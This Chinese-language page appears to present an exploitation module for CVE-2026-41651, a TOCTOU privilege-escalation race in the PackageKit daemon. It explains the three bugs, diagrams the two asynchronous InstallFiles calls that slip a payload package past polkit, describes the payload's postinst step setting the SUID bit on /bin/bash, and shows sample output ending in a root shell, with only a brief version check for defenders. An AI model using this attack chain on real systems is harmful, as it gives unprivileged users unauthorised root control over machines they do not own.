🛡️ AI 安全工具模块
CVE-2026-41651:PackageKit TOCTOU 本地权限提升(Pack2TheRoot)
AI 安全工具生态官方安全审计与利用模块
本模块为 CVE-2026-41651(Pack2TheRoot)提供诊断工具和深入的技术分析,这是 PackageKit 事务处理程序(packagekitd)中的一个严重检查时间到使用时间(TOCTOU)竞态条件漏洞。
该漏洞允许任何本地非特权用户绕过授权检查,在无需任何身份验证的情况下以 root 身份安装任意软件包。
| 规格 | 分配值 | 备注 |
|---|---|---|
| CVE 标识符 | CVE-2026-41651 |
PackageKit TOCTOU 本地权限提升 |
| 组件 | PackageKit 守护进程(packagekitd) |
核心事务处理器 |
| 受影响版本 | 1.0.2 – 1.3.4 |
未修补的守护进程版本 |
| 修复版本 | 1.3.5 |
在事务处理器中添加了状态防护 |
| 影响与向量 | 本地权限提升 → root | 无需身份验证或用户交互 |
| 测试平台 | Ubuntu 24.04、Debian 12 | 标准系统配置 |

src/pk-transaction.c 中的三个不同缺陷串联在一起,在授权与执行之间制造了一个 TOCTOU 窗口:
InstallFiles() 无条件覆盖 cached_transaction_flags 和 cached_full_paths,没有任何状态检查。pk_transaction_set_state() 静默丢弃向后转换,而标志仍处于被覆盖状态。pk_transaction_run() 在 GLib 空闲时分派时读取缓存的标志,而非在授权时读取。PK_TRANSACTION_FLAG_SIMULATE(第 2 位,值 0x4)会完全跳过 polkit 检查。攻击者 packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → 跳过 polkit
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← 已排队
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths 被覆盖
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → 被静默拒绝
│ │ state 保持 READY
│ │
│ │ [idle 触发]
│ │ pk_transaction_run()
│ │ [BUG 3] 读取 NONE + payload
│ │ → dpkg 以 root 身份安装 payload
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
两次 InstallFiles 调用都在客户端主循环迭代之前以即发即忘(fire-and-forget)的异步 D-Bus 调用方式发送。Polkitd 最终会为第二次调用返回 NOT_AUTHORIZED,但此时 APT 已经派发了安装操作。
sudo apt install libglib2.0-dev make
无其他依赖——.deb 包在运行时以纯 C 语言构建。
示例输出:
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max tabular)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
在 PackageKit ≥ 1.3.5 上,第二次调用会被拒绝:
[-] Target is PATCHED (PackageKit >= 1.3.5)
验证系统版本或查看系统日志:
pkcon --version
journalctl -u packagekit --since '5 min ago'